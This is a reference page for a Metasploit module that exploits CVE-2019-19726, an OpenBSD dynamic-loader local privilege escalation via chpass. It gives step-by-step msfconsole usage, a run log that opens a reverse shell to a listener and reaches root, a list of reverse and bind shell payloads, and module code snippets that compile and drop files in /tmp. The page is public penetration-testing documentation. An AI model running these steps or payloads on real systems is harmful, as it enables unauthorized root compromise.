OpenBSD Dynamic Loader chpass Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/openbsd/local/dynamic_loader_chpass_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OpenBSD Dynamic Loader chpass Privilege Escalation
Module: exploit/openbsd/local/dynamic_loader_chpass_privesc
Source code: modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb
Disclosure date: 2019-12-11
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): cmd
Supported platform(s): BSD, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-19726
This module exploits a vulnerability in the OpenBSD ld.so
dynamic loader (CVE-2019-19726). The _dl_getenv()
function
fails to reset the LD_LIBRARY_PATH
environment variable
when set with approximately ARG_MAX
colons. This can be
abused to load libutil.so
from an untrusted path, using
LD_LIBRARY_PATH
in combination with the chpass
set-uid
executable, resulting in privileged code execution. This
module has been tested successfully on: OpenBSD 6.1 (amd64);
and OpenBSD 6.6 (amd64)
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/openbsd/local/dynamic_loader_chpass_privesc
msf exploit(dynamic_loader_chpass_privesc) > show targets
... a list of targets ...
msf exploit(dynamic_loader_chpass_privesc) > set TARGET target-id
msf exploit(dynamic_loader_chpass_privesc) > show options
... show and set options ...
msf exploit(dynamic_loader_chpass_privesc) > set SESSION session-id
msf exploit(dynamic_loader_chpass_privesc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a vulnerability in the OpenBSD ld.so
dynamic loader (CVE-2019-19726).
The _dl_getenv()
function fails to reset the LD_LIBRARY_PATH
environment variable when set with approximately ARG_MAX
colons.
This can be abused to load libutil.so
from an untrusted path,
using LD_LIBRARY_PATH
in combination with the chpass
set-uid
executable, resulting in privileged code execution.
Vulnerable Application
This module has been tested successfully on:
- OpenBSD 6.1 (amd64)
- OpenBSD 6.6 (amd64)
Verification Steps
- Start
msfconsole
- Get a session
use exploit/openbsd/local/dynamic_loader_chpass_privesc
set SESSION <SESSION>
check
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
CHPASS_PATH
Path to chpass (default: /usr/bin/chpass
)
Scenarios
OpenBSD 6.1 GENERIC#19 amd64
msf5 > use exploit/openbsd/local/dynamic_loader_chpass_privesc
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true
verbose => true
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1
session => 1
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > check
[+] Patch 013_ldso is not present
[+] cc is installed
[*] The service is running, but could not be validated.
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > run
[*] Started reverse TCP double handler on 172.16.191.165:4444
[+] Patch 013_ldso is not present
[+] cc is installed
[+] Found libutil.so name: libutil.so.12.1
[*] Writing '/tmp/.86MXG.c' (316 bytes) ...
[*] Max line length is 4096
[*] Writing 316 bytes in 1 chunks of 1145 bytes (octal-encoded), using printf
[*] Compiling /tmp/libutil.so.12.1 ...
[*] Writing '/tmp/.DRbqHJ.c' (602 bytes) ...
[*] Max line length is 4096
[*] Writing 602 bytes in 1 chunks of 2170 bytes (octal-encoded), using printf
[*] Compiling /tmp/.DRbqHJ ...
[*] Writing '/tmp/.2bowjnW1' (139 bytes) ...
[*] Max line length is 4096
[*] Writing 139 bytes in 1 chunks of 470 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Y6H5kRiGDyQjzQKI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Y6H5kRiGDyQjzQKI\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.205:43611) at 2019-12-13 04:03:22 -0500
[+] Deleted /tmp/.86MXG.c
[+] Deleted /tmp/libutil.so.12.1
[+] Deleted /tmp/.DRbqHJ.c
[+] Deleted /tmp/.DRbqHJ
[+] Deleted /tmp/.2bowjnW1
id
uid=0(root) gid=0(wheel) groups=1001(test)
uname -a
OpenBSD openbsd-6-1.localdomain 6.1 GENERIC#19 amd64
Go back to menu.
Msfconsole Usage
Here is how the openbsd/local/dynamic_loader_chpass_privesc exploit module looks in the msfconsole:
msf6 > use exploit/openbsd/local/dynamic_loader_chpass_privesc
[*] Using configured payload cmd/unix/reverse
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show info
Name: OpenBSD Dynamic Loader chpass Privilege Escalation
Module: exploit/openbsd/local/dynamic_loader_chpass_privesc
Platform: BSD, Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-12-11
Provided by:
Qualys
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHPASS_PATH /usr/bin/chpass yes Path to chpass
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a vulnerability in the OpenBSD `ld.so` dynamic
loader (CVE-2019-19726). The `_dl_getenv()` function fails to reset
the `LD_LIBRARY_PATH` environment variable when set with
approximately `ARG_MAX` colons. This can be abused to load
`libutil.so` from an untrusted path, using `LD_LIBRARY_PATH` in
combination with the `chpass` set-uid executable, resulting in
privileged code execution. This module has been tested successfully
on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64)
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-19726
https://www.exploit-db.com/exploits/47780
https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726
https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt
https://www.openwall.com/lists/oss-security/2019/12/11/9
https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass
https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig
Module Options
This is a complete list of options available in the openbsd/local/dynamic_loader_chpass_privesc exploit:
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show options
Module options (exploit/openbsd/local/dynamic_loader_chpass_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
CHPASS_PATH /usr/bin/chpass yes Path to chpass
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the openbsd/local/dynamic_loader_chpass_privesc exploit:
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show advanced
Module advanced options (exploit/openbsd/local/dynamic_loader_chpass_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the openbsd/local/dynamic_loader_chpass_privesc module can exploit:
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the openbsd/local/dynamic_loader_chpass_privesc exploit:
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the openbsd/local/dynamic_loader_chpass_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Patch <PATCH> has been installed. Target is not vulnerable.
Here is a relevant code snippet related to the "Patch <PATCH> has been installed. Target is not vulnerable." error message:
88:
89: def check
90: patches = cmd_exec('syspatch -l').to_s
91: patch = '013_ldso'
92: if patches.include? patch
93: vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
94: return CheckCode::Safe
95: end
96: vprint_good "Patch #{patch} is not present"
97:
98: unless command_exists? 'cc'
cc is not installed
Here is a relevant code snippet related to the "cc is not installed" error message:
94: return CheckCode::Safe
95: end
96: vprint_good "Patch #{patch} is not present"
97:
98: unless command_exists? 'cc'
99: vprint_error 'cc is not installed'
100: return CheckCode::Safe
101: end
102: print_good 'cc is installed'
103:
104: CheckCode::Detected
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
105: end
106:
107: def exploit
108: if is_root?
109: unless datastore['ForceExploit']
110: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
111: end
112: end
113:
114: unless writable? base_dir
115: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
110: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
111: end
112: end
113:
114: unless writable? base_dir
115: fail_with Failure::BadConfig, "#{base_dir} is not writable"
116: end
117:
118: # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
119: lib_data = <<-EOF
120: #include <paths.h>
Could not determine libutil.so name. Using: <VALUE>
Here is a relevant code snippet related to the "Could not determine libutil.so name. Using: <VALUE>" error message:
135: libs << lib
136: print_good "Found libutil.so name: #{lib}"
137: else
138: libs << 'libutil.so.12.1'
139: libs << 'libutil.so.13.1'
140: print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
141: end
142:
143: lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
144: upload lib_src_path, lib_data
145: libs.each do |lib_name|
<LIB_PATH>.c failed to compile
Here is a relevant code snippet related to the "<LIB_PATH>.c failed to compile" error message:
148: output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
149: register_file_for_cleanup lib_path
150:
151: unless output.blank?
152: print_error output
153: fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
154: end
155: end
156:
157: # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
158: exploit_data = <<-EOF
<EXPLOIT_PATH>.c failed to compile
Here is a relevant code snippet related to the "<EXPLOIT_PATH>.c failed to compile" error message:
187: output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
188: register_file_for_cleanup exploit_path
189:
190: unless output.blank?
191: print_error output
192: fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
193: end
194:
195: payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
196: upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
197: chmod payload_path
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2019-19726
- EDB-47780
- https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726
- https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt
- https://www.openwall.com/lists/oss-security/2019/12/11/9
- https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass
- https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig
See Also
Check also the following modules related to this module:
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- payload/cmd/mainframe/apf_privesc_jcl
- encoder/x64/xor_dynamic
- encoder/x86/xor_dynamic
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
- Qualys
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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